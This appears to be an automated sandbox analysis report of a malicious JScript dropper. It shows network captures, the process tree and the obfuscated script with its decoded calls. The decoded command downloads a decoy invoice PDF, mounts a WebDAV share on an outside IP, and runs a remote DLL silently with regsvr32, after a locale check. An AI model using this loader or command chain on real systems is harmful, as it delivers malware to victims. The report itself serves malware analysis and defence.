Jan 10, 2025 19:07:59.204487085 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 19:07:59.204499006 CET	896	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 19:07:59.209373951 CET	892	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	193.143.1.205	8888	432	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:08:01.453296900 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:08:02.211555004 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:08:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:07:47
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js"
Imagebase:	0x7ff67f1d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:07:47
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll
Imagebase:	0x7ff6926f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:07:47
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:07:48
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:07:59
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	13:07:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6926f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:07:59
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a0a10000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:08:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:08:00
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:08:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1608,i,17778285800311555354,14425289030959085275,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function sgufyaz() {	sgufyaz() ➔ undefined
1	zeztmztf = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ccmmchso = this[wdpjsddgj + keuasfty + ijrie + fmzwpgbz + puxgvt + gypaxatp + bjrsjzrz + pieqgm] ( this[rnrqba + ptpbdnsu + pkephvsoc + ijrie + seidpfmq + wdpjsddgj + pieqgm][yukzcdb + ijrie + puxgvt + keuasfty + pieqgm + puxgvt + yqqubck + fgczl + icewxuzq + puxgvt + pkephvsoc + pieqgm] ( rnrqba + ptpbdnsu + pkephvsoc + ijrie + seidpfmq + wdpjsddgj + pieqgm + tsncsrzp + ptpbdnsu + pqwukwoq + puxgvt + vixxoeki + vixxoeki ) [wbdhcjgwb + puxgvt + clvmfzd + wbdhcjgwb + puxgvt + keuasfty + kqhfe] ( pvreb + khnfvq + kkerfkhkf + nvfqoenm + zguebrc + yukzcdb + aqldyfbm + wbdhcjgwb + wbdhcjgwb + kkerfkhkf + zdpxq + ilxkksfob + zguebrc + aqldyfbm + ptpbdnsu + kkerfkhkf + wbdhcjgwb + zjcdpx + yukzcdb + hqgir + bjrsjzrz + pieqgm + ijrie + hqgir + vixxoeki + xfhtlo + wpcinm + keuasfty + bjrsjzrz + puxgvt + vixxoeki + zjcdpx + gypaxatp + bjrsjzrz + pieqgm + puxgvt + ijrie + bjrsjzrz + keuasfty + pieqgm + seidpfmq + hqgir + bjrsjzrz + keuasfty + vixxoeki + zjcdpx + xdvllhm + hqgir + pkephvsoc + keuasfty + vixxoeki + puxgvt ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ddjzyyoi = 0 ; ddjzyyoi < zeztmztf[vixxoeki + puxgvt + bjrsjzrz + clvmfzd + pieqgm + pqwukwoq] ; ++ ddjzyyoi )
4	{
5	if ( ccmmchso == zeztmztf[ddjzyyoi] )
6	{
7	ccmmchso = true;
8	break ;
9	}
10	}
11	if ( ccmmchso !== true )
12	this[rnrqba + ptpbdnsu + pkephvsoc + ijrie + seidpfmq + wdpjsddgj + pieqgm][ackcc + xsxxtp + seidpfmq + pieqgm] ( );
13	this[rnrqba + ptpbdnsu + pkephvsoc + ijrie + seidpfmq + wdpjsddgj + pieqgm][yukzcdb + ijrie + puxgvt + keuasfty + pieqgm + puxgvt + yqqubck + fgczl + icewxuzq + puxgvt + pkephvsoc + pieqgm] ( rnrqba + ptpbdnsu + pkephvsoc + ijrie + seidpfmq + wdpjsddgj + pieqgm + tsncsrzp + ptpbdnsu + pqwukwoq + puxgvt + vixxoeki + vixxoeki ) [ijrie + xsxxtp + bjrsjzrz] ( pkephvsoc + smpagwcsn + kqhfe + xfhtlo + diejpmhgz + pkephvsoc + xfhtlo + wdpjsddgj + hqgir + jmpupxxfw + puxgvt + ijrie + fmzwpgbz + pqwukwoq + puxgvt + vixxoeki + vixxoeki + tsncsrzp + puxgvt + atequ + puxgvt + xfhtlo + ovyqzn + yukzcdb + hqgir + smpagwcsn + smpagwcsn + keuasfty + bjrsjzrz + kqhfe + xfhtlo + taqjlddu + gypaxatp + bjrsjzrz + hbkbk + hqgir + hpucqbxcw + puxgvt + ovyqzn + rnrqba + puxgvt + fgczl + wbdhcjgwb + puxgvt + ymaaw + xsxxtp + puxgvt + fmzwpgbz + pieqgm + xfhtlo + ovyqzn + yqqubck + xsxxtp + pieqgm + cnsunov + seidpfmq + vixxoeki + puxgvt + xfhtlo + eataq + pieqgm + puxgvt + smpagwcsn + wdpjsddgj + eataq + zjcdpx + seidpfmq + bjrsjzrz + hbkbk + hqgir + seidpfmq + pkephvsoc + puxgvt + tsncsrzp + wdpjsddgj + kqhfe + ngjlrbida + xfhtlo + pqwukwoq + pieqgm + pieqgm + wdpjsddgj + ymfagg + diejpmhgz + diejpmhgz + stinere + kuirk + piobcpmkq + tsncsrzp + stinere + bejbwlsat + piobcpmkq + tsncsrzp + stinere + tsncsrzp + ruqqhqqy + sosokqu + vmvnt + diejpmhgz + seidpfmq + bjrsjzrz + hbkbk + hqgir + seidpfmq + pkephvsoc + puxgvt + tsncsrzp + wdpjsddgj + pqwukwoq + wdpjsddgj + taqjlddu + sehcm + sehcm + fmzwpgbz + pieqgm + keuasfty + ijrie + pieqgm + xfhtlo + eataq + pieqgm + puxgvt + smpagwcsn + wdpjsddgj + eataq + zjcdpx + seidpfmq + bjrsjzrz + hbkbk + hqgir + seidpfmq + pkephvsoc + puxgvt + tsncsrzp + wdpjsddgj + kqhfe + ngjlrbida + sehcm + sehcm + pkephvsoc + smpagwcsn + kqhfe + xfhtlo + diejpmhgz + pkephvsoc + xfhtlo + bjrsjzrz + puxgvt + pieqgm + xfhtlo + xsxxtp + fmzwpgbz + puxgvt + xfhtlo + zjcdpx + zjcdpx + stinere + kuirk + piobcpmkq + tsncsrzp + stinere + bejbwlsat + piobcpmkq + tsncsrzp + stinere + tsncsrzp + ruqqhqqy + sosokqu + vmvnt + umullmpw + gqaxlxak + gqaxlxak + gqaxlxak + gqaxlxak + zjcdpx + kqhfe + keuasfty + hbkbk + jmpupxxfw + jmpupxxfw + jmpupxxfw + ijrie + hqgir + hqgir + pieqgm + zjcdpx + sehcm + sehcm + pkephvsoc + smpagwcsn + kqhfe + xfhtlo + diejpmhgz + pkephvsoc + xfhtlo + ijrie + puxgvt + clvmfzd + fmzwpgbz + hbkbk + ijrie + piobcpmkq + ruqqhqqy + xfhtlo + diejpmhgz + fmzwpgbz + xfhtlo + zjcdpx + zjcdpx + stinere + kuirk + piobcpmkq + tsncsrzp + stinere + bejbwlsat + piobcpmkq + tsncsrzp + stinere + tsncsrzp + ruqqhqqy + sosokqu + vmvnt + umullmpw + gqaxlxak + gqaxlxak + gqaxlxak + gqaxlxak + zjcdpx + kqhfe + keuasfty + hbkbk + jmpupxxfw + jmpupxxfw + jmpupxxfw + ijrie + hqgir + hqgir + pieqgm + zjcdpx + stinere + stinere + gqaxlxak + ruqqhqqy + mlkkc + ruqqhqqy + stinere + sosokqu + sosokqu + piobcpmkq + ruqqhqqy + ruqqhqqy + gqaxlxak + mlkkc + gqaxlxak + tsncsrzp + kqhfe + vixxoeki + vixxoeki, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll",0,false) ➔ 0
14	}
15	piobcpmkq = "C";
16	piobcpmkq = "O";
17	piobcpmkq = "g";
18	piobcpmkq = "w";
19	piobcpmkq = "G";
20	piobcpmkq = "l";
21	piobcpmkq = "Y";
22	piobcpmkq = "A";
23	piobcpmkq = "G";
24	piobcpmkq = "N";
25	piobcpmkq = "j";
26	piobcpmkq = "o";
27	piobcpmkq = "D";
28	piobcpmkq = "b";
29	piobcpmkq = "e";
30	piobcpmkq = "z";
31	piobcpmkq = "B";
32	piobcpmkq = "o";
33	piobcpmkq = "O";
34	piobcpmkq = "D";
35	piobcpmkq = "y";
36	piobcpmkq = "g";
37	piobcpmkq = "3";
38	umullmpw = "A";
39	umullmpw = "l";
40	umullmpw = "e";
41	umullmpw = "T";
42	umullmpw = "X";
43	umullmpw = "H";
44	umullmpw = "@";
45	stinere = "o";
46	stinere = "X";
47	stinere = "F";
48	stinere = "n";
49	stinere = "h";
50	stinere = "Q";
51	stinere = "Z";
52	stinere = "T";
53	stinere = "w";
54	stinere = "o";
55	stinere = "c";
56	stinere = "z";
57	stinere = "D";
58	stinere = "F";
59	stinere = "G";
60	stinere = "R";
61	stinere = "P";
62	stinere = "S";
63	stinere = "E";
64	stinere = "C";
65	stinere = "t";
66	stinere = "p";
67	stinere = "f";
68	stinere = "q";
69	stinere = "n";
70	stinere = "i";
71	stinere = "m";
72	stinere = "g";
73	stinere = "f";
74	stinere = "Y";
75	stinere = "d";
76	stinere = "x";
77	stinere = "w";
78	stinere = "q";
79	stinere = "A";
80	stinere = "L";
81	stinere = "k";
82	stinere = "o";
83	stinere = "f";
84	stinere = "C";
85	stinere = "x";
86	stinere = "d";
87	stinere = "G";
88	stinere = "s";
89	stinere = "1";
90	ackcc = "J";
91	ackcc = "a";
92	ackcc = "D";
93	ackcc = "K";
94	ackcc = "K";
95	ackcc = "w";
96	ackcc = "K";
97	ackcc = "N";
98	ackcc = "y";
99	ackcc = "B";
100	ackcc = "y";
101	ackcc = "u";
102	ackcc = "e";
103	ackcc = "P";
104	ackcc = "r";
105	ackcc = "k";
106	ackcc = "x";
107	ackcc = "c";
108	ackcc = "D";
109	ackcc = "Z";
110	ackcc = "o";
111	ackcc = "B";
112	ackcc = "q";
113	ackcc = "M";
114	ackcc = "D";
115	ackcc = "v";
116	ackcc = "K";
117	ackcc = "u";
118	ackcc = "n";
119	ackcc = "t";
120	ackcc = "T";
121	ackcc = "W";
122	ackcc = "H";
123	ackcc = "Q";
124	kkerfkhkf = "T";
125	kkerfkhkf = "j";
126	kkerfkhkf = "i";
127	kkerfkhkf = "b";
128	kkerfkhkf = "v";
129	kkerfkhkf = "N";
130	kkerfkhkf = "N";
131	kkerfkhkf = "p";
132	kkerfkhkf = "r";
133	kkerfkhkf = "G";
134	kkerfkhkf = "B";
135	kkerfkhkf = "j";
136	kkerfkhkf = "Y";
137	kkerfkhkf = "v";
138	kkerfkhkf = "T";
139	kkerfkhkf = "t";
140	kkerfkhkf = "M";
141	kkerfkhkf = "Z";
142	kkerfkhkf = "J";
143	kkerfkhkf = "Y";
144	kkerfkhkf = "s";
145	kkerfkhkf = "j";
146	kkerfkhkf = "P";
147	kkerfkhkf = "W";
148	kkerfkhkf = "m";
149	kkerfkhkf = "H";
150	kkerfkhkf = "E";
151	mlkkc = "a";
152	mlkkc = "K";
153	mlkkc = "J";
154	mlkkc = "d";
155	mlkkc = "z";
156	mlkkc = "b";
157	mlkkc = "x";
158	mlkkc = "w";
159	mlkkc = "z";
160	mlkkc = "i";
161	mlkkc = "M";
162	mlkkc = "M";
163	mlkkc = "l";
164	mlkkc = "7";
165	zjcdpx = "c";
166	zjcdpx = "d";
167	zjcdpx = "v";
168	zjcdpx = "L";
169	zjcdpx = "w";
170	zjcdpx = "x";
171	zjcdpx = "\\";
172	atequ = "d";
173	atequ = "q";
174	atequ = "m";
175	atequ = "g";
176	atequ = "d";
177	atequ = "V";
178	atequ = "M";
179	atequ = "q";
180	atequ = "f";
181	atequ = "X";
182	atequ = "x";
183	atequ = "x";
184	yukzcdb = "d";
185	yukzcdb = "l";
186	yukzcdb = "V";
187	yukzcdb = "l";
188	yukzcdb = "N";
189	yukzcdb = "w";
190	yukzcdb = "B";
191	yukzcdb = "l";
192	yukzcdb = "j";
193	yukzcdb = "y";
194	yukzcdb = "n";
195	yukzcdb = "t";
196	yukzcdb = "t";
197	yukzcdb = "Z";
198	yukzcdb = "O";
199	yukzcdb = "O";
200	yukzcdb = "u";
201	yukzcdb = "n";
202	yukzcdb = "s";
203	yukzcdb = "z";
204	yukzcdb = "B";
205	yukzcdb = "A";
206	yukzcdb = "b";
207	yukzcdb = "p";
208	yukzcdb = "r";
209	yukzcdb = "J";
210	yukzcdb = "p";
211	yukzcdb = "N";
212	yukzcdb = "d";
213	yukzcdb = "R";
214	yukzcdb = "Q";
215	yukzcdb = "M";
216	yukzcdb = "z";
217	yukzcdb = "E";
218	yukzcdb = "C";
219	sosokqu = "J";
220	sosokqu = "m";
221	sosokqu = "O";
222	sosokqu = "K";
223	sosokqu = "X";
224	sosokqu = "f";
225	sosokqu = "y";
226	sosokqu = "s";
227	sosokqu = "K";
228	sosokqu = "u";
229	sosokqu = "S";
230	sosokqu = "O";
231	sosokqu = "n";
232	sosokqu = "0";
233	vmvnt = "N";
234	vmvnt = "z";
235	vmvnt = "q";
236	vmvnt = "f";
237	vmvnt = "E";
238	vmvnt = "j";
239	vmvnt = "X";
240	vmvnt = "m";
241	vmvnt = "B";
242	vmvnt = "K";
243	vmvnt = "v";
244	vmvnt = "k";
245	vmvnt = "f";
246	vmvnt = "g";
247	vmvnt = "l";
248	vmvnt = "Y";
249	vmvnt = "p";
250	vmvnt = "I";
251	vmvnt = "e";
252	vmvnt = "t";
253	vmvnt = "l";
254	vmvnt = "5";
255	smpagwcsn = "i";
256	smpagwcsn = "t";
257	smpagwcsn = "w";
258	smpagwcsn = "a";
259	smpagwcsn = "X";
260	smpagwcsn = "k";
261	smpagwcsn = "g";
262	smpagwcsn = "U";
263	smpagwcsn = "N";
264	smpagwcsn = "R";
265	smpagwcsn = "T";
266	smpagwcsn = "v";
267	smpagwcsn = "g";
268	smpagwcsn = "U";
269	smpagwcsn = "M";
270	smpagwcsn = "d";
271	smpagwcsn = "t";
272	smpagwcsn = "H";
273	smpagwcsn = "R";
274	smpagwcsn = "c";
275	smpagwcsn = "f";
276	smpagwcsn = "y";
277	smpagwcsn = "O";
278	smpagwcsn = "I";
279	smpagwcsn = "J";
280	smpagwcsn = "m";
281	khnfvq = "K";
282	khnfvq = "g";
283	khnfvq = "H";
284	khnfvq = "x";
285	khnfvq = "v";
286	khnfvq = "q";
287	khnfvq = "L";
288	khnfvq = "O";
289	khnfvq = "S";
290	khnfvq = "H";
291	khnfvq = "z";
292	khnfvq = "E";
293	khnfvq = "z";
294	khnfvq = "T";
295	khnfvq = "S";
296	khnfvq = "y";
297	khnfvq = "B";
298	khnfvq = "K";
299	khnfvq = "C";
300	khnfvq = "O";
301	khnfvq = "A";
302	khnfvq = "g";
303	khnfvq = "W";
304	khnfvq = "H";
305	khnfvq = "O";
306	khnfvq = "n";
307	khnfvq = "K";
308	wpcinm = "E";
309	wpcinm = "U";
310	wpcinm = "x";
311	wpcinm = "L";
312	wpcinm = "O";
313	wpcinm = "z";
314	wpcinm = "j";
315	wpcinm = "E";
316	wpcinm = "C";
317	wpcinm = "C";
318	wpcinm = "i";
319	wpcinm = "Y";
320	wpcinm = "c";
321	wpcinm = "c";
322	wpcinm = "V";
323	wpcinm = "J";
324	wpcinm = "Z";
325	wpcinm = "P";
326	clvmfzd = "s";
327	clvmfzd = "g";
328	diejpmhgz = "D";
329	diejpmhgz = "R";
330	diejpmhgz = "r";
331	diejpmhgz = "T";
332	diejpmhgz = "q";
333	diejpmhgz = "d";
334	diejpmhgz = "A";
335	diejpmhgz = "A";
336	diejpmhgz = "N";
337	diejpmhgz = "a";
338	diejpmhgz = "O";
339	diejpmhgz = "y";
340	diejpmhgz = "L";
341	diejpmhgz = "V";
342	diejpmhgz = "k";
343	diejpmhgz = "v";
344	diejpmhgz = "L";
345	diejpmhgz = "O";
346	diejpmhgz = "S";
347	diejpmhgz = "I";
348	diejpmhgz = "I";
349	diejpmhgz = "F";
350	diejpmhgz = "b";
351	diejpmhgz = "j";
352	diejpmhgz = "X";
353	diejpmhgz = "k";
354	diejpmhgz = "s";
355	diejpmhgz = "G";
356	diejpmhgz = "Y";
357	diejpmhgz = "b";
358	diejpmhgz = "Y";
359	diejpmhgz = "E";
360	diejpmhgz = "g";
361	diejpmhgz = "f";
362	diejpmhgz = "X";
363	diejpmhgz = "L";
364	diejpmhgz = "B";
365	diejpmhgz = "C";
366	diejpmhgz = "x";
367	diejpmhgz = "/";
368	pqwukwoq = "p";
369	pqwukwoq = "F";
370	pqwukwoq = "w";
371	pqwukwoq = "v";
372	pqwukwoq = "D";
373	pqwukwoq = "A";
374	pqwukwoq = "x";
375	pqwukwoq = "P";
376	pqwukwoq = "j";
377	pqwukwoq = "K";
378	pqwukwoq = "P";
379	pqwukwoq = "F";
380	pqwukwoq = "f";
381	pqwukwoq = "x";
382	pqwukwoq = "l";
383	pqwukwoq = "l";
384	pqwukwoq = "T";
385	pqwukwoq = "M";
386	pqwukwoq = "J";
387	pqwukwoq = "B";
388	pqwukwoq = "c";
389	pqwukwoq = "U";
390	pqwukwoq = "r";
391	pqwukwoq = "K";
392	pqwukwoq = "e";
393	pqwukwoq = "y";
394	pqwukwoq = "g";
395	pqwukwoq = "y";
396	pqwukwoq = "K";
397	pqwukwoq = "X";
398	pqwukwoq = "I";
399	pqwukwoq = "c";
400	pqwukwoq = "L";
401	pqwukwoq = "c";
402	pqwukwoq = "F";
403	pqwukwoq = "A";
404	pqwukwoq = "c";
405	pqwukwoq = "M";
406	pqwukwoq = "N";
407	pqwukwoq = "S";
408	pqwukwoq = "X";
409	pqwukwoq = "s";
410	pqwukwoq = "y";
411	pqwukwoq = "h";
412	cnsunov = "U";
413	cnsunov = "f";
414	cnsunov = "x";
415	cnsunov = "i";
416	cnsunov = "P";
417	cnsunov = "N";
418	cnsunov = "U";
419	cnsunov = "B";
420	cnsunov = "i";
421	cnsunov = "S";
422	cnsunov = "m";
423	cnsunov = "F";
424	xsxxtp = "i";
425	xsxxtp = "V";
426	xsxxtp = "Z";
427	xsxxtp = "P";
428	xsxxtp = "B";
429	xsxxtp = "F";
430	xsxxtp = "m";
431	xsxxtp = "L";
432	xsxxtp = "w";
433	xsxxtp = "i";
434	xsxxtp = "F";
435	xsxxtp = "r";
436	xsxxtp = "u";
437	puxgvt = "L";
438	puxgvt = "z";
439	puxgvt = "P";
440	puxgvt = "y";
441	puxgvt = "O";
442	puxgvt = "K";
443	puxgvt = "w";
444	puxgvt = "u";
445	puxgvt = "H";
446	puxgvt = "v";
447	puxgvt = "K";
448	puxgvt = "y";
449	puxgvt = "F";
450	puxgvt = "W";
451	puxgvt = "Y";
452	puxgvt = "b";
453	puxgvt = "u";
454	puxgvt = "e";
455	puxgvt = "u";
456	puxgvt = "J";
457	puxgvt = "J";
458	puxgvt = "m";
459	puxgvt = "K";
460	puxgvt = "e";
461	hqgir = "T";
462	hqgir = "b";
463	hqgir = "a";
464	hqgir = "Q";
465	hqgir = "h";
466	hqgir = "h";
467	hqgir = "S";
468	hqgir = "w";
469	hqgir = "p";
470	hqgir = "Y";
471	hqgir = "N";
472	hqgir = "j";
473	hqgir = "h";
474	hqgir = "d";
475	hqgir = "M";
476	hqgir = "v";
477	hqgir = "b";
478	hqgir = "D";
479	hqgir = "s";
480	hqgir = "n";
481	hqgir = "r";
482	hqgir = "B";
483	hqgir = "X";
484	hqgir = "B";
485	hqgir = "D";
486	hqgir = "s";
487	hqgir = "w";
488	hqgir = "n";
489	hqgir = "q";
490	hqgir = "k";
491	hqgir = "x";
492	hqgir = "k";
493	hqgir = "D";
494	hqgir = "e";
495	hqgir = "Z";
496	hqgir = "Y";
497	hqgir = "p";
498	hqgir = "P";
499	hqgir = "O";
500	hqgir = "x";
501	hqgir = "o";
502	hbkbk = "w";
503	hbkbk = "g";
504	hbkbk = "g";
505	hbkbk = "V";
506	hbkbk = "j";
507	hbkbk = "v";
508	nvfqoenm = "y";
509	nvfqoenm = "H";
510	nvfqoenm = "w";
511	nvfqoenm = "f";
512	nvfqoenm = "K";
513	nvfqoenm = "q";
514	nvfqoenm = "Z";
515	nvfqoenm = "B";
516	nvfqoenm = "l";
517	nvfqoenm = "X";
518	nvfqoenm = "n";
519	nvfqoenm = "V";
520	nvfqoenm = "Y";
521	sehcm = "L";
522	sehcm = "c";
523	sehcm = "o";
524	sehcm = "g";
525	sehcm = "w";
526	sehcm = "v";
527	sehcm = "T";
528	sehcm = "u";
529	sehcm = "c";
530	sehcm = "w";
531	sehcm = "s";
532	sehcm = "Y";
533	sehcm = "a";
534	sehcm = "r";
535	sehcm = "m";
536	sehcm = "E";
537	sehcm = "X";
538	sehcm = "K";
539	sehcm = "R";
540	sehcm = "M";
541	sehcm = "G";
542	sehcm = "l";
543	sehcm = "d";
544	sehcm = "d";
545	sehcm = "e";
546	sehcm = "J";
547	sehcm = "Y";
548	sehcm = "x";
549	sehcm = "Z";
550	sehcm = "u";
551	sehcm = "u";
552	sehcm = "z";
553	sehcm = "&";
554	yqqubck = "P";
555	yqqubck = "j";
556	yqqubck = "B";
557	yqqubck = "Z";
558	yqqubck = "u";
559	yqqubck = "S";
560	yqqubck = "a";
561	yqqubck = "k";
562	yqqubck = "t";
563	yqqubck = "G";
564	yqqubck = "J";
565	yqqubck = "t";
566	yqqubck = "O";
567	pvreb = "F";
568	pvreb = "X";
569	pvreb = "y";
570	pvreb = "w";
571	pvreb = "s";
572	pvreb = "l";
573	pvreb = "S";
574	pvreb = "I";
575	pvreb = "h";
576	pvreb = "z";
577	pvreb = "x";
578	pvreb = "E";
579	pvreb = "g";
580	pvreb = "y";
581	pvreb = "E";
582	pvreb = "g";
583	pvreb = "H";
584	gqaxlxak = "t";
585	gqaxlxak = "m";
586	gqaxlxak = "j";
587	gqaxlxak = "k";
588	gqaxlxak = "w";
589	gqaxlxak = "l";
590	gqaxlxak = "g";
591	gqaxlxak = "t";
592	gqaxlxak = "e";
593	gqaxlxak = "U";
594	gqaxlxak = "R";
595	gqaxlxak = "I";
596	gqaxlxak = "l";
597	gqaxlxak = "X";
598	gqaxlxak = "F";
599	gqaxlxak = "r";
600	gqaxlxak = "n";
